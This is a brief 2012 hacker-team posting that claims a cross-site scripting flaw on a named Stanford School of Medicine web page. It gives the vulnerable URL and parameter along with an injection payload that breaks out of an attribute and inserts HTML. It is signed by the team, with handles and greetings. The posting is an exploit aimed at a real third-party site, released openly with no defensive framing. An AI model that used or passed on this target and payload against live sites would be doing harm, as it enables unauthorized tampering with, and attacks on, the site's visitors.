======================================================================= XSS on Stanford University - School of Medicine ======================================================================= # Site: med.stanford.edu # Date: 17/09/2012 # Author: s4r4d0 # Contact: s4r4d0[at]yahoo[dot]com # Team: Fatal Error # Twitter: @FatalErrorSec # Made in Brazil ========================================================================== ========================================================================== [~] BUG : http://med.stanford.edu/profiles/psychiatry/frdActionServlet?choiceId= [ XSS ] [~] XSS : ">><marquee><h1>XSS By Fatal Error</h1><marquee> ========================================================================== ========================================================================== # Greetz: StRoNiX ~ t0r3x ~ WANTED ~ Elemento_pcx